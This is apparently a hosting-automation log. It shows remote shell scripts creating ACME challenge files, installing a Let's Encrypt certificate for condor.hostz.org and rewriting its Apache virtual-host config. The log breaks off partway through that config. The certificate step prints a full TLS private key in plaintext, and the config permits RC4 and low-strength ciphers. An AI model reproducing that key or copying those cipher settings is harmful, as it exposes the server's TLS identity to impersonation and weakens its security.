MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-29 06:00:02: Establishing a connection
2026-05-29 06:00:03: Establishing a connection
2026-05-29 06:00:03: 

PUT: /tmp/pkp337799

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-29 06:00:03: 

chmod 755 /tmp/pkp337799; /tmp/pkp337799; rm /tmp/pkp337799

2026-05-29 06:00:03: 


1


2026-05-29 06:00:04: Establishing a connection
2026-05-29 06:00:05: 

PUT: /tmp/pkp180438

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > Q5KtVukpP3apTQyDaA6GGRbI15vCe64lCp8mQ-cbNRA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Q5KtVukpP3apTQyDaA6GGRbI15vCe64lCp8mQ-cbNRA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Q5KtVukpP3apTQyDaA6GGRbI15vCe64lCp8mQ-cbNRA


2026-05-29 06:00:05: 

chmod 755 /tmp/pkp180438; /tmp/pkp180438; rm /tmp/pkp180438

2026-05-29 06:00:05: 




2026-05-29 06:00:06: Establishing a connection
2026-05-29 06:00:06: Establishing a connection
2026-05-29 06:00:06: 

PUT: /tmp/pkp587686

#!/bin/bash
if [ -d "/var/www/hostz_condor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-29 06:00:07: 

chmod 755 /tmp/pkp587686; /tmp/pkp587686; rm /tmp/pkp587686

2026-05-29 06:00:07: 


1


2026-05-29 06:00:07: Establishing a connection
2026-05-29 06:00:07: 

PUT: /tmp/pkp191437

#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"


2026-05-29 06:00:07: 

chmod 755 /tmp/pkp191437; /tmp/pkp191437; rm /tmp/pkp191437

2026-05-29 06:00:07: 




2026-05-29 06:00:09: Establishing a connection
2026-05-29 06:00:09: 

PUT: /tmp/pkp708019

#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"


2026-05-29 06:00:09: 

chmod 755 /tmp/pkp708019; /tmp/pkp708019; rm /tmp/pkp708019

2026-05-29 06:00:09: 




2026-05-29 06:00:09: Establishing a connection
2026-05-29 06:00:09: 

PUT: /tmp/pkp196837

#!/bin/bash
temp_file=$(mktemp)
TARGET=452589c154b484450eedc2df554d68f3.crt

cat > $temp_file <<'endmsg'
05:24:77:01:02:bd:da:b9:67:a5:24:18:dd:2b:84:43

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBWySWCFRlZe9aQfM21+cRKfEMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNTI5MDUwMTM4WhcNMjYwODI3MDUwMTM3WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA0f3lwfJHCdHA7aMrlRJ7+TL4rWOIw6wQoBQfS7mtWb+gjr2VOi3hiWtkbLss
dIVSqSU1RWXY/PlxbIV0yYF1F/4sWOb2pgrMwuAXKiWH4BYs+x4jERw5eqhKBHKP
AVwSEdDpCnlOHZmMQov+87ZEfsUWAfMLPsb+tVi1qiBO/rJYkDcCH7Vzr+ZfWmfh
FtWXlPHllrTx3vWi5soCGX3vmJsjzL9eethV0ugE2j1fhQRWYTu3JjcM8uVYrTq3
zuDf5GNyLznq8jUZm6mGhM+iQYpnQq4mny/0JfePFTjWNsl6osi/5iJAcyA+9E9W
Eko2OYlrLpSpVHnLQeexG9SqdQIDAQABo4ICHjCCAhowDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFF8T
lP+Za3IHTX8wPSUfZlgz+2FIMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3WMh+B
DIEMMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIQY29uZG9yLmhvc3R6Lm9yZzATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8veXIyLmMubGVuY3Iu
b3JnLzY5LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AMijxH/Hs625NWsB
P2p6Em3jOk5DpcZG+ZetOXWZHc+aAAABnnJRkFsAAAQDAEcwRQIhAOp/hFt/yslg
FE4qbYgQBHErqqjviEIvJlcS/9eRHRcpAiAK7bM/nIhskazeq+1ucXFAYrA+R+lU
G2J2X4k+VTBZ0AB+ABqLnWsP/r+BtHk5xtIxCobW0QLU8EbiGCyd419eJiXvAAAB
nnJRkP0ACAAABQAYHeyWBAMARzBFAiBDjtE2I1Qsxzwlvg61SOm4Cjag1uwMIrrh
PB8p9syMzgIhAKd4QUdN3MCsB7xx5YuBHnAepU1ax2QF+YdErS42ZZXyMA0GCSqG
SIb3DQEBCwUAA4IBAQBPD/QlaKCTlZtjabDcFAphLgKAJ8Bf+vXNAm+VrIVhX0Ze
8YxAIFLWrYK5txqSB6T/EEP+WKjcNeDlr1YvS/j6H6VTIYPjM6it9Z7F1MjVFnVK
XxwTLZtkrMhBhnvuuDSR0BtnI4tAOtkxik0+7yVzMcCQDTEJibn92opFxrEVQI/l
nIJ0HaGv79riVHGjl9B6hPRTs/iifgSmjsV2t70noBgZlypibihcKNnYTYpJZU4J
h8PZ4uIwMj3qYe/MgTpiNsJNKGgB5ahejxKx7vOd6xoHPj7ZQR/vW0PM1SID58W8
VFOtT1yO1enHpbD7rlovqcGalAffMWFEkVtnDJ7W
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR/eXB8kcJ0cDt
oyuVEnv5MvitY4jDrBCgFB9Lua1Zv6COvZU6LeGJa2Rsuyx0hVKpJTVFZdj8+XFs
hXTJgXUX/ixY5vamCszC4BcqJYfgFiz7HiMRHDl6qEoEco8BXBIR0OkKeU4dmYxC
i/7ztkR+xRYB8ws+xv61WLWqIE7+sliQNwIftXOv5l9aZ+EW1ZeU8eWWtPHe9aLm
ygIZfe+YmyPMv1562FXS6ATaPV+FBFZhO7cmNwzy5VitOrfO4N/kY3IvOeryNRmb
qYaEz6JBimdCriafL/Ql948VONY2yXqiyL/mIkBzID70T1YSSjY5iWsulKlUectB
57Eb1Kp1AgMBAAECggEAEelMLazSrl27zQk78G0xMeJNH8z7n2UPzfepa7YcuSkF
Mues0NeVAzmryTJ16kJs+Ix57L9xMLK+H/mKKp3mNPOzKKoao7MMIBspHqkw28ZI
c+rwJsd3h6TPG24CEKWfzPE6z2/lX9T3B74VMwh68y0wYV4vuV0T4Lf+VtKGqma4
Yw59b/DtJLNDkLpgSzn7CoxIflnsLANxTYiGkfvzYR+S2M4i+7DJehxWD2oq+tbi
KZVQn+q02MDh7MS4d9PdfcWyzA6UzRfa1dowfrN8o6p6eYufnZt0v4dewI3TDGY5
SFyeK09hjI8G5AzgOZmXHEZANODpZHencHBceKC1AQKBgQDs/6GVG/J7DTsQioDt
mAxvW3AlP1qbedxUxDTZJ96w/aFou9Tahli15skfRsLQg2FeHyoqJqONnAkX+DkS
wB1/g8EPqvLNMe13zyF3MSCvaE93Cdr4saubh34cIl+szfEdtM/YVlXlAjOBRlCw
qPe/yHrm4FkZnyhiHLo7Afe2YQKBgQDi0/SRQ/N3JClrBdpDv4dhuGSTzGN5BQlO
0rjgSbW2uZ1/snCGQLa1rh8Sd7dEISaKsUkLzApZWnHiG75ElgeNXaYdMVLkbeiQ
CyIxiqO2hzQ+5gVpCjpSzbsEICj06sGSNZoVFhfKLcLolkh07/iUCDaFQupl+H+r
RT50ro4ElQKBgDokZLG+D3jcwBbIw+SGHtba6eJZbpMiDEnHcOetflaRgp29JvUN
bIoDumev5m9dK+/5WVDJ9enx09FLlkThWNtFqYF8gOCSVR3FdQJWzRv7TTN4+X11
qRIY5XllfW9ZfsO47hy24Y+zQIuAgp80dMNaHbyyYWmFwFSBk7aSPwFBAoGAct2r
KDUlAdyKLOxVz6EaSd468K28Yfiu8f+8J7isENCGdbhDS3lSDUcT7SI66IFxJyMI
PrUhOIaYzUwHWmwvfuNBz96+f3c5IljBBB2VMkXdq0yIyNypFG2im0A9/Wk0hXon
gS4i9fuejHIuVyl+1FgkY++zC9h/rpfuPOB4gtECgYEAskjIzPUzRmK24Ee6/xRx
Xlc9OsKeggt7XcOOcAURJFy5H27Icc/i4vZP0qzr54KIrLnZf8tpW96yRMtgnsOH
xTnn3KcApvK2wfglk+Xh+gqLQBwcZVYkV/ADPK93crgfDd2oOZnMXkNx+6bhKzW6
1n+ok40Gx7EdXqa9r5yKK2g=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-29 06:00:09: 

chmod 755 /tmp/pkp196837; /tmp/pkp196837; rm /tmp/pkp196837

2026-05-29 06:00:09: 


dir=/etc/ssl/certs


2026-05-29 06:00:09: 

PUT: /tmp/pkp106041

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_condor_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-29 06:00:09: 

chmod 755 /tmp/pkp106041; /tmp/pkp106041; rm /tmp/pkp106041

2026-05-29 06:00:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf 40

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-29 06:00:09: 

PUT: /tmp/pkp450544

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_condor_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_condor_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
